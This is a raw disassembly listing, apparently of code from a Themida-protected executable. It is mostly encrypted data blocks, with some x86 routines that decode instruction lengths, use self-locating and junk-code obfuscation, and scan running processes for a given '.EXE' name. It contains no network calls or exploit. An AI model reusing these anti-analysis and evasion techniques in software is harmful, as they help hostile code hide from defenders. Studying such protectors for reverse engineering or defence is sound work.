7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178B87h, 0D485C760h dd 6178Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178AD8h dd 6, 24E9h, 0DC858D00h, 5006178Ah, 8B2C858Dh, 56500617h dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 178AD885h dd 0B5036106h, 6178AD8h, 8AD4858Bh, 0C35D0617h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59F629 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59F635 ; --------------------------------------------------------------------------- loc_59F629: ; CODE XREF: Themida_:0059F612j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59F635: ; CODE XREF: Themida_:0059F624j push ebx push esi push edi loc_59F638: ; CODE XREF: Themida_:0059F68Dj ; Themida_:0059F6A9j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59F64B: ; CODE XREF: Themida_:0059F672j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6178C3Eh lea ebp, [ebp+6178AB4h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59F678 inc cl cmp cl, 0Bh jb loc_59F64B loc_59F678: ; CODE XREF: Themida_:0059F667j cmp cl, 0Bh jz loc_59F6D5 cmp al, 66h jnz loc_59F6B6 cmp byte ptr [ebp-5], 0 jnz loc_59F638 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59F6AE mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59F638 ; --------------------------------------------------------------------------- loc_59F6AE: ; CODE XREF: Themida_:0059F69Bj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59F6B6: ; CODE XREF: Themida_:0059F683j cmp al, 67h jnz loc_59F638 cmp byte ptr [ebp-6], 0 jnz loc_59F638 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59F638 ; --------------------------------------------------------------------------- loc_59F6D5: ; CODE XREF: Themida_:0059F67Bj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59F701 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59F706 ; --------------------------------------------------------------------------- loc_59F701: ; CODE XREF: Themida_:0059F6E0j movzx edi, al shr edi, 1 loc_59F706: ; CODE XREF: Themida_:0059F6FCj push ebp call $+5 pop ebp sub ebp, 6178CF6h lea ebp, [ebp+61789B4h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59F888 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59F7CC dec ecx jz loc_59F7AF dec ecx jnz loc_59F81F cmp byte ptr [ebp-2], 0 jnz loc_59F81B cmp byte ptr [ebp-5], 0 jz loc_59F78E mov byte ptr [ebp+0Bh], 2 loc_59F78E: ; CODE XREF: Themida_:0059F784j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6178D82h mov dword ptr [ebp+6178AD4h], 1 pop ebp jmp loc_59F81F ; --------------------------------------------------------------------------- loc_59F7AF: ; CODE XREF: Themida_:0059F769j cmp byte ptr [ebp-2], 0 jnz loc_59F7F9 cmp byte ptr [ebp-5], 0 jz loc_59F7F9 mov byte ptr [ebp+0Bh], 2 jmp loc_59F7F9 ; --------------------------------------------------------------------------- loc_59F7CC: ; CODE XREF: Themida_:0059F762j cmp byte ptr [ebp-2], 0 jnz loc_59F812 cmp byte ptr [ebp-5], 0 jz loc_59F801 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59F7F9 mov [ebp+0Bh], cl loc_59F7F9: ; CODE XREF: Themida_:0059F7B3j ; Themida_:0059F7BDj ... inc byte ptr [ebp+0Bh] jmp loc_59F81F ; --------------------------------------------------------------------------- loc_59F801: ; CODE XREF: Themida_:0059F7DAj cmp dl, 5 jnz loc_59F81F mov [ebp+0Bh], dl jmp loc_59F81F ; --------------------------------------------------------------------------- loc_59F812: ; CODE XREF: Themida_:0059F7D0j cmp dl, 6 jnz loc_59F81F loc_59F81B: ; CODE XREF: Themida_:0059F77Aj mov byte ptr [ebp+0Bh], 3 loc_59F81F: ; CODE XREF: Themida_:0059F770j ; Themida_:0059F7AAj ... dec byte ptr [ebp+0Bh] jz loc_59F84D movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59F82F: ; CODE XREF: Themida_:0059F845j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59F82F mov esi, edx loc_59F84D: ; CODE XREF: Themida_:0059F822j and al, 0FEh cmp al, 0F6h jnz loc_59F882 cmp edi, 7Fh ja loc_59F882 test bl, 38h jnz loc_59F882 cmp byte ptr [ebp-7], 0 jz loc_59F87C movzx eax, byte ptr [ebp-4] jmp loc_59F87F ; --------------------------------------------------------------------------- loc_59F87C: ; CODE XREF: Themida_:0059F86Dj push 1 pop eax loc_59F87F: ; CODE XREF: Themida_:0059F877j mov [ebp-1], al loc_59F882: ; CODE XREF: Themida_:0059F851j ; Themida_:0059F85Aj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59F888: ; CODE XREF: Themida_:0059F732j mov al, bl and eax, 7 sub eax, 4 jz loc_59F8B3 dec eax dec eax jz loc_59F8A9 and bl, 7 add [ebp-1], bl jmp loc_59F8BB ; --------------------------------------------------------------------------- loc_59F8A9: ; CODE XREF: Themida_:0059F898j mov al, [ebp-3] add al, 6 jmp loc_59F8B8 ; --------------------------------------------------------------------------- loc_59F8B3: ; CODE XREF: Themida_:0059F890j mov al, [ebp-3] add al, 4 loc_59F8B8: ; CODE XREF: Themida_:0059F8AEj add [ebp-1], al loc_59F8BB: ; CODE XREF: Themida_:0059F8A4j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59F8E3 movzx ecx, byte ptr [ebp-1] inc ecx loc_59F8CE: ; CODE XREF: Themida_:0059F8DDj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59F8CE loc_59F8E3: ; CODE XREF: Themida_:0059F8C3j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 6178B81h, 2C6D8589h, 11DC0612h, 0BD6E1CDAh, 61BC28FEh dd 7323F1BCh, 374305A8h, 727879D4h, 8797FF05h, 87508246h dd 0F3E03038h, 7E8D2A8h, 8A4E1EACh, 31F437A8h, 74F63F04h dd 5DB93005h, 34346205h, 176E3005h, 0BE6DF35Fh, 0B69F1451h dd 2CC91441h, 75E63005h, 35F3F357h, 4D735E7h, 0BAD3F26Ah dd 376E3005h, 37345DECh, 378BD905h, 0B06A3005h, 8D26BEAAh dd 0B31803AFh, 9C1F4375h, 8A5F0993h, 317C3974h, 3B33F05h dd 5D9B3005h, 34256305h, 17E63005h, 0BE28F35Eh, 0B6BD1459h dd 2BD81441h, 746E3005h, 0DEB3F356h, 75EDB75Dh, 0DE77122Ah dd 37E63327h, 377336ECh, 0AB339905h, 0BADE57BDh, 20E13080h dd 0EDB65603h, 7F218989h, 0A7F3FE3Bh, 37E63AECh, 150D1805h dd 0C6A85336h, 67982FFBh, 38FE79B0h, 37373B88h, 379DD905h dd 0FCEB3005h, 1B763B07h, 5FBCB163h, 0D53CBDA0h, 67DA278Bh dd 69F8C685h, 31DF6395h, 3B9B3005h, 0B6CE8694h, 6D0CBA60h dd 0ACC6605Ch, 0C9325695h, 2741A5FAh, 0A9DF3617h, 373724ECh dd 0DA17BB05h, 9871834h, 5AC80F71h, 0D621CE7Fh, 42E0C346h dd 0DE1CBBABh, 376E3009h, 642BA4F4h, 664F3BA3h, 0A7036720h dd 2C778D86h, 42733617h, 0EA04B30Ch, 37DA2212h, 643E2971h dd 4D8FF08Eh, 0BE9B3001h, 25CDB580h, 387BBD03h, 0C87524ABh dd 0B4E16BD6h, 25CBEDB8h, 201A3003h, 4D8F6355h, 0BE9B3001h dd 25CDB580h, 0C97BBD03h, 0C87524AFh, 0B7E16BD6h, 3F34E6C8h dd 7B6E3005h, 2519FA77h, 618E8C6Ch, 37CD36ECh, 0ECB8F705h dd 6DAA46F9h, 5179BB5Ah, 5937EF84h, 0B984AD88h, 375D3612h dd 3798D854h, 6EED3005h, 7B6F69C6h, 73F23421h, 37A33421h dd 669D3005h, 8DCECAC6h, 0CFD7800Fh, 5161BB63h, 0B240C08Eh dd 31F14808h, 0DF25306Fh, 37B93006h, 691F6E25h, 334A448Ch dd 33137484h, 379B3019h, 0E90E6643h, 0E0D287Bh, 0FCA596Ch dd 37D3E0FAh, 37DFD853h, 694E3005h, 43BE6EC6h, 731A3421h dd 37D63421h, 61A03005h, 0A1DEB3C6h, 2F9C48BEh, 0F7D7C8BDh dd 3746B40Ah, 0BACB3005h, 25D68598h, 0B12FB003h, 37E633BDh dd 0D48CC805h, 37B920EDh, 0BCF0FE05h, 0E4FCDBDEh, 71253D68h dd 1CF2EB74h, 0AA406E28h, 31F1BEF7h, 0DF24306Fh, 37B93006h dd 681F6F25h, 334A4C8Ch, 33137484h, 379B3018h, 2A0E6742h dd 6AC0EB5Dh, 64516E39h, 37AAD969h, 18733005h, 4CDF6F2Ch dd 0D0083331h, 0F53F6915h, 2A263C56h, 3A63BDB3h, 0DE75277Dh dd 37B9300Ah, 3A9FCBCDh, 6D2E201Dh, 0A9D29CCAh, 0C8DB7385h dd 380D3BD5h, 37E64581h, 65735A05h, 37B933EDh, 0F4861005h dd 133AB95Fh, 1373B101h, 379B2701h, 0F49F7205h, 4307CD92h dd 0AAFEF88Eh, 31AB7DB0h, 0DF8F306Fh, 376E3006h, 6CF46B25h dd 33BF6C8Ch, 33E97484h, 37E63011h, 71B06346h, 4D2F8A63h dd 37DC31BDh, 0C5D93F05h, 0E0B18E54h, 0C8C5447Bh, 392463E6h dd 45E63005h, 49864E00h, 7DB76760h, 0E2A63A21h, 0B60E69A3h dd 0EBDFBAD4h, 0AA16516Ah, 31DABEF2h, 10DF3BAh, 52598E31h dd 0B234331Eh, 31CB4808h, 0C6A4B163h, 38E7CF96h, 0F790C0BAh dd 37A9B40Ah, 378C3005h, 3770D853h, 69993005h, 43556EC6h dd 73EF3421h, 37233421h, 61DD3005h, 3025EFC6h, 0E63005h dd 711D9EE4h, 0BFB66240h, 37DC3006h, 69E5D185h, 7A82AD88h dd 0DEFB3617h, 37CD300Dh, 1EA49037h, 6BAE5FD1h, 37BFB70Ah dd 0B9D33005h, 376E3005h, 37348864h, 0CBFB3005h, 560ABB63h dd 0AE50D3FAh, 0BC30C08Eh, 0D704BDFEh, 0BADA278Bh, 20FCFF88h dd 6B4A8803h, 0B2A8BA4Eh, 31DF3E24h, 0AA40FF2Eh, 31F1BEF7h dd 0DF24306Fh, 37B93006h, 681F6F25h, 334A4C8Ch, 33137484h dd 5E98318h, 0C08BA4F3h, 6AD58Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0A3E816C3h, 6E1EA98Dh dd 0F516336h, 0F5ECEB7h, 0C38BFABFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 5DC35141h, 0DBD52149h, 21D88ACDh dd 10C28116h, 0FC3BA6C0h, 0BE66C08Bh, 0BD83971Ch, 6121B91h dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 47AB8h dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h dd 61217h, 53501774h, 47AB8h, 95858900h, 8D061222h, 14AB179Dh dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0CC421558h, 0DE857h, 2C580000h, 6F2ED1EDh dd 81B866D7h, 0FC0EF84Ch, 0C08B5F5Ah, 0FE8h, 419F8A00h dd 954F37C0h, 647A5330h, 61FD1712h, 0D71BA66h, 0F8BF0F58h dd 678CC081h, 0BA660000h, 0C2BE55F3h, 0F000019h, 188BFBBFh dd 811DEA80h, 988099C3h, 0F88B6674h, 89EDC381h, 0C2815D7Eh dd 2A472768h, 0BC5CC381h, 0D78A1043h, 0F9601889h, 6870Fh dd 0E9810000h, 10A09599h, 96E88161h, 600673EDh, 2810Fh dd 5E530000h, 8993BB60h, 0BF0F237Eh, 816161DFh, 73ED92C0h dd 83EAB106h, 850F01EEh, 0FFFFFFA2h, 0DE8F5h, 40E00000h dd 71522E0Ah, 0EE1970Fh, 5A5BB36Ch, 8E953h, 29B50000h dd 0C70A4B45h, 8158B5A1h, 6528C2h, 9FCB8100h, 0BE504BAFh dd 1C958170h, 6854EE81h, 0BF661C95h, 0A8BEE5Ah, 81FEB70Fh dd 5B0821C1h, 0AE96Ch, 0CC650000h, 6D2F33AEh, 76EC99B1h dd 629EF181h, 0E8604E34h, 8, 0A88FA597h, 33CF275Ah, 8F0Fh dd 0F590000h, 580h, 6B8CBE00h, 81614F28h, 827724E9h, 0F51FC18h dd 68Fh, 860F00h, 8F000000h, 0EA83F802h, 17890F04h, 60000000h dd 880Fh, 0AE90000h, 0C1000000h, 9633670Fh, 0FBD675F1h dd 0F4E6141h, 0FFFF8185h, 0C78166FFh, 30E97B63h, 7000000h dd 16078Bh, 0Ah dup(0) dd 0E9000000h, 501h, 6C0A7669h, 801E887Ch, 98369890h, 0AE4CB2A8h dd 0C361C9BEh, 9489FB56h, 0A79E8E2Ch, 0BCB5A543h, 0D4CEBE5Ch dd 78D9D876h, 9CDF07h, 89DBEE76h, 5D57150Fh, 4144A89Fh dd 0B8BB53EBh, 7A50D02h, 14BF1D17h, 78E2483Eh, 87E5DF95h dd 70DACE84h, 97F5EFC5h, 36ED4A2Dh, 0DA4BD456h, 6FE907B2h dd 29016BB9h, 4333D12Fh, 5C4CEA4Ah, 82580363h, 7DA51689h dd 8C6FE907h, 593CA63Eh, 4548ACA3h, 804F2FEEh, 99892787h dd 95BD2E9Fh, 0AB6FE907h, 55352B2h, 0F7ECC26Dh, 0CC368C8Fh dd 76B98E9h, 631A6FE9h, 7B58AF83h, 0C49FD81Dh, 45000000h dd 3A62D35Ch, 416FE907h, 0B7B189F3h, 7BED5659h, 0C5498112h dd 9508720Bh, 6FE9DE6Bh, 7FF0791Ah, 6FE9DE57h, 0DAE1866h dd 5202592Dh, 149D81Eh, 0EF000000h, 2D9E1B0Fh, 6FE90705h dd 7CFF768h, 90DE6FE9h, 0AB4391h, 62CC362Ah, 6BD5C97Fh dd 8FF3EAC0h, 0E9CC368Ch, 0FD6EF780h, 6FE907D5h, 0DB0396E4h dd 0E26FE907h, 6C2F3D98h, 0EA634F3h, 10D6CCA4h, 1A1DB519h dd 83F46F64h, 6FE9F55Bh, 797C1462h, 0FEEE4927h, 69611D34h dd 0B6080B75h, 0AFC1B988h, 7C3BD4E3h, 0ED8E2D9Ch, 685F1D17h dd 13AB0104h, 0AF50BA10h, 0A60C00CFh, 91CE46Dh, 6A43CE1h dd 30988D63h, 1B81772Dh, 47411983h, 0FF74BE9h, 0F9AFB21Ah dd 1AF09B05h, 67BDC022h, 45FE1AFDh, 39A19665h, 53B1AB9Bh dd 40A29A50h, 66C6BF95h, 0C0A30D63h, 0ABAE140Ah, 979AFEF5h dd 32A18140h, 0CFA3835Ch, 0D81D8088h, 0B609EB5Dh, 51E54D42h dd 0B8AD285Ah, 154EB850h, 0A7h, 0B21A0FBBh, 9F01F9AFh dd 8CEEE69Ch, 79DBD389h, 82621976h, 0DDBD7413h, 13B1190Eh dd 1BC62E23h, 7F92192h, 0B2006FE9h, 0B9AF6548h, 0A19A5053h dd 8F883E41h, 7275D7CFh, 1881841Ch, 0E9077FA7h, 0A1408E6Fh dd 0C59B0AEAh, 0D4322C02h, 70117BD1h, 8175BC90h, 6D9CD81Dh dd 42000000h, 3A62D35Ch, 416FE907h, 0BCB189F3h, 0AF20A954h dd 6FE90787h, 0FBDE4896h, 62C4BC92h, 0CB2720F8h, 0E37FF7C8h dd 0F9FC94BFh, 2DFCDC95h, 0B325D038h, 0BF5DFD2Eh, 30968CB5h dd 0DB02E98h, 76EB1384h, 0A4F26FE9h, 4F52B4ACh, 0F538FF9h dd 45AEB11Bh, 0A8127A6Fh, 0E9070835h, 2202B96Fh, 71D1CAA0h dd 7AD32A07h, 11AD81Dh, 0C0000000h, 0D2B9170Fh, 9E7E89C3h dd 258E9129h, 0EEF15B4Fh, 0D7DA4438h, 0A77FE981h, 0F54C4FADh dd 8F875636h, 0F3FA8F2Dh, 0CA3CC570h, 0C1221F6Bh, 970A746Ch dd 69FBDC3Eh, 8056014Fh, 0D3252886h, 0F3371D00h, 0A20CA49Bh dd 5CCD56BFh, 75FB5434h, 0AB83ED3Bh, 1FA853B1h, 0FB5486AEh dd 0DD479575h, 17756F5Fh, 3B9F966Ch, 9578E238h, 0FB541A44h dd 0E5C57E75h, 20BE1C16h, 0D5D83630h, 0C4C7251Fh, 392F05A8h dd 0E8C869D3h, 12C51F19h, 43D04931h, 584DEB83h, 0DE301801h dd 10848h, 636AEE00h, 7BC435E0h, 0C269FB34h, 0C1BB7174h dd 4C22C563h, 0A820F456h, 84A4D76Dh, 0E893E9ECh, 0FB794F77h dd 0A6105E75h, 7376D4CEh, 6265C3BDh, 0DEAD8D46h, 5DB86E4h dd 4FA5A810h, 7761C0BBh, 248ED7D5h, 7E5AB1A6h, 3DA1DE2Fh dd 47000000h, 31DC6F6Ah, 16F9B8C0h, 36398710h, 0D5FA5BCDh dd 0D63CA1B1h, 8285E5DEh, 274FC22Ch, 31EFE8F0h, 6564D8B8h dd 0B2BA2BD6h, 799016E2h, 1711D3CBh, 0C81E21B9h, 7EB39230h dd 61000000h, 35E0636Ah, 0FB1BAFC4h, 2D307E69h, 6DCB52C4h dd 235C7E82h, 89E7E1B9h, 0A301FBEBh, 3CAE37A0h, 0F0A124ECh dd 0E810A345h, 0F775FB9Fh, 0ADCC3FA9h, 6775FB9Eh, 540A0D6Fh dd 0A2F9FC5Ah, 0EE9403E3h, 8C865535h, 0F0FB902Eh, 20B81811h dd 1D16EC75h, 0FE01675Dh, 33A610A8h, 70112BEAh, 59B7B187h dd 0BFC210EFh, 0AEB10F09h, 44B89857h, 860FBA49h, 0EC56B8B0h dd 3A13079h, 8D2B796Ah, 0E0636A39h, 947BC435h, 14C269FEh dd 63B9BC1Ah, 1812C8CBh, 322C1CBAh, 0C580D1D4h, 308610ACh dd 0D0CA9979h, 5B31D472h, 0C0980262h, 0BCE455C6h, 0C385F08Bh dd 24DADD75h, 0C72682Eh, 5B1A7174h, 54B2AC7Bh, 6ECCC6B6h dd 3C66Bh, 95740000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch dd 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h dd 0E786C22h, 89514D0Bh, 4C181E1h, 83000000h, 0C8704E9h dd 14895C24h, 3D7E6824h, 14890000h, 438B6824h, 1C890000h dd 167FBA24h, 0D2F745C3h, 5426BF57h, 0FA29B425h, 1C8B545Fh dd 4C48324h, 4EC81h, 14890000h, 8438F24h, 5B2434FFh, 4C481h dd 34FF0000h, 0C4835A24h, 0E5ABE904h, 26C4FFFAh, 3D560CB0h dd 99F8B83Fh, 0C5030617h, 0DB3FE0FFh, 2BBD1310h, 0B0E0140Ch dd 0D60F4736h, 8A8C614Ah, 6C314BC3h, 0F5D9151Dh, 6145403Dh dd 0D33B77B4h, 0DAD000C2h, 2E870255h, 503E1CBFh, 3CE92186h dd 1, 4Eh dup(0) dd 83000000h, 121C31BDh, 840F0106h, 42Eh, 5E9h, 0B958000h dd 85C68F5Dh, 6122871h, 0FE943h, 97F20000h, 85A605EAh dd 746E6C5Bh, 0E2377D6Fh, 0A8D0F28h, 0E9000000h, 5, 0B00C2A92h dd 9F8D6872h, 5250C059h, 7E860h, 0B510000h, 0D351FAB9h dd 0F615B5Ah, 26B06031h, 0CE9h, 34A81900h, 92BFAA5Eh, 2291E05Fh dd 585A617Ch, 78243481h, 0E92CFC4Fh, 6, 0F991F929h, 0B5FFFBE9h dd 61230E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 56C35545h, 8D0F075Bh, 0Ah, 8B62B960h, 0BF0F7738h dd 858D61DAh, 6157F35h, 0FE9h, 1148D900h, 3BC27CA8h, 0E0BF48C7h dd 13F5C531h, 0DE9D0FFh, 41000000h, 9565247Bh, 18BFF09Eh dd 0CB185E72h, 1D58589h, 0F600612h, 282h, 0F5E5700h, 0C661F3BFh dd 12287185h, 68F55006h, 88AFD4EBh, 13B86660h, 34816160h dd 279BD24h, 0A810F20h, 60000000h, 0D1816160h, 316C2793h dd 0E9B5FF61h, 0FC061230h, 7F35858Dh, 0FFF80615h, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0D739E128h, 68B08280h, 0E860F9BAh, 9, 557335D7h, 3806D094h dd 870F6Fh, 59000000h, 61C3B70Fh, 1C818589h, 0FF50612h dd 1986h, 14E900h, 41E0000h, 0D0372B4Bh, 0B3176883h, 96F40694h dd 82B07Ch, 61686974h, 0FEBEF85h, 0C81h, 6800F00h, 50000000h dd 5A310F52h, 24348158h, 1B602D4Eh, 0E9B5FFFCh, 60061230h dd 0ECCE8166h, 0C0816619h, 0F56119F9h, 7F35858Dh, 0FFFC0615h dd 8589FCD0h, 6120109h, 88C0Fh, 8B0F0000h, 2, 85C66160h dd 6122871h, 1C8D0F50h, 60000000h, 12E80CB1h, 34000000h dd 5780F25Dh, 0E22AF003h, 9B19F89Dh, 0CE1A5E9h, 68615FB1h dd 0EB00F815h, 3810F60h, 66000000h, 5250F28Bh, 310F5250h dd 310F585Ah, 820Fh, 585A0000h, 24348161h, 7C9C2443h, 0B1B5FFF9h dd 0F061203h, 0E86h, 9E900h, 28F30000h, 17EEE3CCh, 8D0120A9h dd 123B5D85h, 5E906h, 279F0000h, 0FFF6C07Ah, 0DE860D0h dd 0F6000000h, 94FC4103h, 0ACD916F9h, 54BEECFh, 58CE8B66h dd 7E9h, 5380C00h, 183FCECCh, 0D858961h, 0E9061210h, 0Fh dd 0ACA97B74h, 3FBE563Fh, 91F7EC08h, 0E983E48Fh, 192h dd 10E9h, 30C6B00h, 6705B597h, 0F3A68B49h, 8DB98452h, 0F605057h dd 8Eh, 6163B600h, 0E9242C89h, 12h, 61FA69F8h, 0D7574409h dd 7257B9DEh, 0E172CDD3h, 0EC8BBF63h, 0EE960h, 0BD670000h dd 6B90E018h, 53FC66A3h, 0B003F86h, 0FCC48361h, 18B0Fh dd 60F80000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 3AC35141h, 0E8D13491h, 0 ; --------------------------------------------------------------------------- pop edx sub edx, 6179EFEh mov dword ptr [ebp-4], 0 cmp dword ptr [edx+6121C31h], 1 jz loc_5A09C7 push edx push 0 push 0Fh call dword ptr [edx+61201D5h] pop edx mov [edx+6179A99h], eax lea ebx, [edx+6179A9Dh] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+6121C81h] pop edx loc_5A0957: ; CODE XREF: Themida_:005A0981j ; Themida_:005A09B5j push edx lea ebx, [edx+6179A9Dh] push ebx push dword ptr [edx+6179A99h] call dword ptr [edx+612100Dh] pop edx or eax, eax jz short loc_5A09C0 lea ebx, [edx+6179A9Dh] lea edi, [ebx+24h] xor ecx, ecx loc_5A097B: ; CODE XREF: Themida_:005A098Bj cmp ecx, 104h jz short loc_5A0957 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5A097B lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6122419h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6122419h] push eax call dword ptr [edx+6120109h] pop edx or eax, eax jnz short loc_5A0957 mov dword ptr [ebp-4], 1 jmp short loc_5A09C7 ; --------------------------------------------------------------------------- loc_5A09C0: ; CODE XREF: Themida_:005A096Ej mov dword ptr [ebp-4], 0 loc_5A09C7: ; CODE XREF: Themida_:005A0929j ; Themida_:005A09BEj popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- push 0 push edx call sub_5A09DA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A09DA proc near ; CODE XREF: Themida_:005A09D2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5A09DA endp ; --------------------------------------------------------------------------- sub dh, 0F6h fxch st(4) inc edx popf cwde push 0 push ecx call sub_5A09FD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A09FD proc near ; CODE XREF: Themida_:005A09F5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx locret_5A0A0C: ; CODE XREF: Themida_:005A0A15j retn sub_5A09FD endp ; --------------------------------------------------------------------------- db 72h, 65h, 13h ; --------------------------------------------------------------------------- mov al, ds:434BE9Dh jns short locret_5A0A0C clc clc jle loc_5A0A26 jnz loc_5A0A26 cld loc_5A0A26: ; CODE XREF: Themida_:005A0A19j ; Themida_:005A0A1Fj mov edx, edx jmp loc_5A0A3F ; --------------------------------------------------------------------------- db 8Dh, 54h, 1 dd 0E7339C73h, 77h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A0A3F: ; CODE XREF: Themida_:005A0A28j jmp loc_5A183A ; --------------------------------------------------------------------------- push 617A1E9h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617A304h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617A486h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617A5C0h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617A774h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617A9C7h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617ABA5h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 617ACB8h jmp loc_54EA15 ; --------------------------------------------------------------------------- dd 902E9A8Dh, 0A442ACA0h, 0BC5ABCB4h, 0D270D6CCh, 0E785EDE2h dd 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h, 0F8F2E280h, 9CFDFC9Ah dd 0A7032Bh, 0A5F70A76h, 0B4B7150Fh, 8A604FEh, 3EE97873h dd 0FB1E10CDh, 48F34169h, 6D187A72h, 0FB22D4FCh, 238DDB75h dd 22C3EF40h, 0E5D975FBh, 22CFF768h, 90DE75FBh, 463FF5F8h dd 0CD8CE3E6h, 0CFA87EEDh, 99C41BEFh, 47B9DE2Fh, 45FD0E4Eh dd 4F88F292h, 3Bh, 0E0636AF5h, 0D363C335h, 7462C118h, 0D0E7F0Ah dd 3C69FBD1h, 49BA43EEh, 75FBAF21h, 0AFE30B7Ch, 9CEA75FBh dd 2E54F9Dh, 0FBAF85B1h, 4E4BD75h, 3022D930h, 0FB20DEh dd 0FC60000h, 0B33A415h, 196FE907h, 66BCBF21h, 0D6811967h dd 28277164h, 0BDB5059Ch, 16F963C5h, 7FF06B60h, 6FE9E057h dd 8764D0D1h, 9695D1E2h, 0D1869C4Ch, 861E3A69h, 786D43EEh dd 0DC3A610h, 0FCB2B513h, 0FBE5A802h, 6C7D3994h, 0AEAB36D4h dd 666FE95Ah, 80700E6Ch, 0BC252886h, 218BEFE6h, 0C1BAA9A4h dd 70085E61h, 42B33CC5h, 6FE9631Ah, 274FC021h, 366FE963h dd 5E5850E8h, 3DA7FD00h, 0FB6321CAh, 3CDA2869h, 6BC9C399h dd 0FA898401h, 5AFDE4Fh, 3C127010h, 8BE1E442h, 49F44221h dd 78167E73h, 392B9388h, 79415E30h, 9531D6B9h, 0F800000Bh dd 0BFB9905h, 1F0FAD17h, 3727C527h, 4D3DDB41h, 0E552F058h dd 0BB23188Ah, 0D2362D1Dh, 0EB4B4434h, 5635D4Dh, 96076867h dd 7600A86Eh, 0F186A7Dh, 3107B21Ah, 0EB69D33Dh, 0F8A301FBh dd 3ACCEF86h, 104BDF43h, 5BD943AAh, 0CD636A07h, 0E907345Ch dd 55ED3B6Fh, 554B21AAh, 111285EFh, 8C69FB12h, 0F45EBCB6h dd 0ADE3CB15h, 1A0D6F98h, 0DD4ED782h, 75FBD7B5h, 290C76C4h dd 0FBD7ACD8h, 7CBC275h, 52A8AB11h, 0C01B7BAh, 52B4ACA4h dd 34148D4Fh, 3616EFC5h, 304B0B62h, 0B552DEh, 20A90000h dd 0FBCB87AFh, 0DE489675h, 8C865CA2h, 0F2ECC42Eh, 0E6DB9194h dd 2D2A7B7Eh, 0E36FE902h, 0FDED8BE9h, 47A2A503h, 3C12BD44h dd 87DDE046h, 9709921Dh, 0ECEB3CBCh, 0BA2D9793h, 